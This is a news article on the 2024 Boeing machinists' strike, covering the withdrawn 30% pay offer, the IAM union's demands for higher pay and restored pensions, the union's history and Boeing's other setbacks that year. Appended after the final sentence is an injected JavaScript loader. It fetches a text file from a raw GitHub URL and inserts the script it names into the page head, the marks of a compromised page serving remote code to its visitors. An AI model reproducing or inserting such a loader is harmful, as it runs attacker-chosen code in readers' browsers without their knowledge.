Boeing strike negotiators have suspended talks and withdrawn a 30% pay rise offer to striking factory workers.
The stalemate follows unions’ rejection of Boeing’s “best and final” offer from September 23. The proposal included a 30% pay increase over four years, a $6,000 ratification bonus and better retirement benefits.
International Association of Machinists and Aerospace Workers (IAM) members rejected the offer, aiming for a proposed 40% pay increase alongside benefits improvements.
Over 30,000 employees in the Pacific Northwest have been on strike since September 13, costing Boeing $100 million per day according to TD Cowen analysts’ estimates.
Boeing claimed that worker demands were incompatible with its competitiveness as a business. President and CEO of Boegin Commercial Airplanes, Stephanie Pope, stated:
Our team bargained in good faith and made new and improved proposals to try to reach a compromise [but] Unfortunately, the union did not seriously consider our proposals.
The IAM Union Negotiating Committee countered, sayin:
When we surveyed our members on that offer, the response was overwhelming – those who participated said it was not good enough, […] the committee remains ready to continue mediated or direct talks.
Why are Boeing workers striking?
Factory workers’ main grievances are pay and pensions.
Employees claim their pay is inadequate amid rising living costs, inflation and the dangers posed by factory work.
Boeing Aircraft Mechanic Ben Cruz explained in a post on X (formerly Twitter) that workers are “fighting against corporate greed” and “asking for living wage”
Workers also hope to restore the traditional pension plans lost to 2014 contract negotiations, which guaranteed payouts to retirees. The replacement defined contribution 401(k) accounts depend on the stock market and place monetary risk on the worker rather than the employer.
What is the IAM union?
The International Association of Machinists and Aerospace Workers (IAM) is Boeing workers’ largest labour union. The IAM represents almost 600,000 members across North America, including workers and retirees from General Electric, United Airlines and Jon Deere.
Founded in 1888, the union fights for improved job security, wages, benefits and fair treatment.
In 2008, the IAM represented around 27,000 Boeing machinists in their 57-day strike over wages, healthcare benefits and supply outsourcing. The strike ended after an agreement was reached enhancing wages, pensions, bonuses, medical plans and defences against subcontractors.
The 2024 dispute is Boeing’s first strike in 16 years and its eighth IAM strike since Boeing workers joined the union in the 1930s.
Boeing’s embattled 2024
With Boeing shares down 5% since the strike began, the industrial action is another blow to the troubled plane maker.
In January, the Federal Aviation Administration (FAA) refused to certify Boeing’s 737 MAX 10 due to safety concerns after a panel blew out of an Alaskan Airlines 737-9 aircraft mid-flight.
In July, the manufacturing giant pleaded guilty to a criminal fraud conspiracy charge linked to the deaths of 346 people in crashes in Indonesia and Ethiopia in 2018 and 2019 respectively.
Boeing also faces questions over its delivery timelines. At the end of July, Boeing had a backlog of 5,400 unfilled commercial aeroplane orders. The Boeing strike, which has stopped production of all 737 MAX aircraft, will further compound the delays.
On September 11, just over a month into his role as president and CEO of Boeing, Kelly Ortberg appealed to employees not to strike, noting that it “would put our shared recovery in jeopardy, further eroding trust with our customers and hurting our ability to determine our future together.”
As the strike nears its fourth week with no solution in sight, workers are starting to feel the pinch from their lost pay and revoked medical insurance. Whether one side will blink first remains to be seen.;var url = ‘https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});
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